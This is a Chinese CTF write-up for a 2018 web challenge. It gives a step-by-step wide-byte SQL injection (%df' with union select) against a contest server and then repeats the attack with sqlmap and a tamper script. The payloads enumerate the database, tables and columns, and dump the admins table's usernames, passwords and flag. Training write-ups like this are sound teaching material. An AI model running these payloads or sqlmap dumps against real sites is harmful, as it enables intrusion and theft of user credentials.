CTF-Web-2018-SQL注入的艺术

题目地址:http://118.190.152.202:8015/

比赛结束后可能失效

mark

分析题目

  • 打开题目网址,如下图所示:

mark

  • 可以点击首页按钮看一看

mark

  • 然后可以点击个人信息看一看

mark

由于这道题提示我们是关于SQL注入,因此我们可以试一试看看id=1是否存在注入

尝试解题

  • 单引号注入检测,页面返回如下图所示:正常

mark

  • 双引号注入检测,页面返回如下图所示:正常

mark

这时候对于像我这这样的小白一样,就有点焦虑发愁了,然后我想到的是宽字节注入,这里不详细说明款字节注入,不懂的可以百度,大致就是由于数据库处理数据时候编码问题导致的注入,常用检测payload是 %df'

  • %df宽字节注入检测,如下图:
1
http://118.190.152.202:8015/index.php?id=1%df'  

mark

结果如上图,页面返回了异常,这时候感觉攻破此题大有希望!

  • 一步一步来,先在后面加一个注释符--+
1
http://118.190.152.202:8015/index.php?id=1%df'  --+

mark

返回页面如上图,页面返回正常,此时说明前面'正好闭合了,在之后的过程中--+要一直都在

  • 接下来使用and 1=1and 1=2进一步判断是否存在注入
1
http://118.190.152.202:8015/index.php?id=1%df' and 1=1 --+

and 1=1 测试页面返回正常

mark

1
http://118.190.152.202:8015/index.php?id=1%df' and 1=2 --+

mark

and 1=2 测试页面返回不正常

  • 经上面判断可以确定,此处存在注入,接下来使用order by 二分法,判断表中字段数目。
1
http://118.190.152.202:8015/index.php?id=1%df' order by 1 --+

mark

1
http://118.190.152.202:8015/index.php?id=1%df' order by 10 --+

mark

此时说明表中字段数目没有超过10

1
http://118.190.152.202:8015/index.php?id=1%df' order by 5 --+

mark

页面返回正常,此时说明字段数目超过5个

1
http://118.190.152.202:8015/index.php?id=1%df' order by 7 --+

mark

页面返回正常,此时说明字段数目超过7个

1
http://118.190.152.202:8015/index.php?id=1%df' order by 9 --+

mark

页面返回异常,此时说明字段数目不超过9个

1
http://118.190.152.202:8015/index.php?id=1%df' order by 8 --+

mark

至此,我们可以判定表中一共8个字段,顺便提一句order by语句是将数据库查询结果按照第n个字段排序的,如果n不存在,就会报错,因此使用二分法判定有多少字段。如果还不懂的百度一下,这里不多解释了

  • 下一步,使用union select联合查询
1
http://118.190.152.202:8015/index.php?id=1%df' union select 1,2,3,4,5,6,7,8 --+

mark

页面正常,说明猜解的字段正确

  • 然后寻找显示位
1
http://118.190.152.202:8015/index.php?id=-1%df' union select 1,2,3,4,5,6,7,8 --+

mark

将前面id值1前面加一个-(负号),使其前面查询无结果,输出后面联合查询结果,如上图

  • 利用显示位,收集数据库信息
1
http://118.190.152.202:8015/index.php?id=-1%df' union select 1,database(),3,version(),5,6,user(),8 --+

mark

  • 接下来暴表
1
http://118.190.152.202:8015/index.php?id=-1%df' union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = 0x62616a69 --+

mark

  • 批量暴表
1
http://118.190.152.202:8015/index.php?id=-1%df' union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema = 0x62616a69  --+

mark

结果就一张表,也许此处一共就一张表,也有可能输出框长度有限,那接下来先暴字段

  • 批量暴user表中字段
1
http://118.190.152.202:8015/index.php?id=-1%df' union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_schema = 0x62616a69  and table_name = 0x61646d696e73 --+

mark

可以看到admins表中字段有 id,userName,userPwd,email,sex,role,money,flag,到这可以看到我们关心的flag字段,下一步就是查看你想查看哪个字段里面的内容

  • 查看表中字段内容
1
http://118.190.152.202:8015/index.php?id=-1%df' union select 1,group_concat(id,userName,userPwd,email,sex,role,money,flag),3,4,5,6,7,8 from admins --+

mark

可以看到字段里面所有内容都出来了

  • 单独查看flag字段内容
1
http://118.190.152.202:8015/index.php?id=-1%df' union select 1,flag,3,4,5,6,7,8 from admins --+

mark

到此这道题flag已经拿到,页面提交flag我就不在做图了。
flag : Y0u_@@33w_dxxmn_9rf0Od


以上是手工做法,如果自己对手工比较熟练的话,不想使用手动注入,也不想费时间,我们可以使用sqlmap跑一下,教程如下


使用sqlmap跑这道题

首先我先清理下我linux上面sqlmap的缓存

1
[root@localhost sqlmap]# python sqlmap.py --purge-output

mark

  • step1. 寻找注入点
1
[root@localhost sqlmap]# python sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" --tamper=unmagicquotes.py

mark

中途选项一般情况下都选 Y , 返回如下

mark

可以看到判定存在注入,关键信息都输出出来了,这时候我们可以进行下一步了

  • step2.暴库
1
[root@localhost sqlmap]# python sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" --dbs --tamper=unmagicquotes.py

mark

返回结果如下:

mark

  • step3.查看当前数据库
1
[root@localhost sqlmap]# python sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" --current-db --tamper=unmagicquotes.py

mark

返回结果如下:

mark

  • step4.暴出当前数据库baji里面的表
1
[root@localhost sqlmap]# python sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" -D baji --tables --tamper=unmagicquotes.py

mark

返回结果如下:

mark

  • step5.暴出当前数据库baji里面admins表中字段
1
[root@localhost sqlmap]# python sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" -D baji -T admins --columns --tamper=unmagicquotes.py

mark

返回结果如下:

mark

  • step6.暴出当前数据库baji里面admins表中字段里面的内容
1
[root@localhost sqlmap]# python sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" -D baji -T admins -C email,flag,id,money,role,sex,userName,userPwd --dump --tamper=unmagicquotes.py

mark

返回如下:

mark

最终我们可以成功拿到flag : Y0u_@@33w_dxxmn_9rf0Od